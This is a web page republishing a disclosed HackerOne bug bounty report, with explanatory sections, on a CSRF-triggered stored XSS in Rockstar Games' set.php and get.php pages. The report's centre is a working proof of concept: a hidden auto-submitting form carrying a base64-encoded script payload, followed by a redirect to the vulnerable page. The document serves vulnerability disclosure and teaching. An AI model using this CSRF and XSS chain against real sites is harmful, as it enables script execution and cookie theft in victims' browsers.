Skip to content
XSS Disclosed report Beginner

CSRF in 'set.php' via age causes stored XSS on 'get.php' - http://www.rockstargames.com/php/videoplayer_cache/get.php'

A POST request to set.php stored the supplied age value, which was later reflected into get.php, allowing script execution in the victim's browser. An attacker could use a cross-site form submission to plant the value and then redirect the victim to the vulnerable page, running script in the site's context.

Ben Sadeghipour Follow

Originally disclosed on HackerOne

  • Triaged in 32 hours
  • Fixed in 4 days
  • Paid in 4 days
  • Disclosed after 8 months

Hello,

#Background: Sending a POST request to set.php with age='PAYLOAD' will cause a stored XSS on the GET.php file (most likely caused by the cookie, since that's what the age is based on). For this vulnerability and in order to demonstrate BOTH CSRF and XSS I have written a simple script (tested on firefox) that automatically sends the request to set.php and redirects you to the vulnerable file:

#POC:

<iframe style="display:none" name="csrf-frame" id="csrf-frame"></iframe><form method="POST" action="http://www.rockstargames.com/php/videoplayer_cache/set.php" target="csrf-frame" id="csrf-form" encType="application/x-www-form-urlencoded"><input type="text" name="age" value='<a href=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==>CLICK ME</a>' /></form><script>document.getElementById("csrf-form").submit();</script><script>var xssframe = document.getElementById('csrf-frame');xssframe.addEventListener("load", function() { window.location='http://www.rockstargames.com/php/videoplayer_cache/get.php'; }); </script>

Thanks, Ben

The original report as published on HackerOne, by nahamsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the age value was stored (probably in a cookie) and then written into the get.php page without output encoding, and set.php accepted the value without a CSRF token.

Impact

An attacker could run script in a victim's session on the site, potentially reading the victim's cookie; the report only demonstrates this in Firefox.

What the attacker needed

Victim visits attacker page; victim uses Firefox (per report)

How it was found

  1. The attacker hosts a page containing a hidden form that posts an age value to set.php.
  2. The form is submitted automatically in a hidden iframe.
  3. When the iframe finishes loading, the page redirects the victim to get.php.
  4. get.php renders the stored value and the script runs in the victim's browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website took a value a user sent to one page and later showed it on another page without cleaning it. Because the value could contain a link that runs code, an attacker could make a victim's browser run that code on the site. The attacker also used a trick where another site silently submits the form for the victim, so the victim does not need to type anything.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Ben Sadeghipour

View all

24 more disclosed reports, best first.

More from Rockstar Games

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.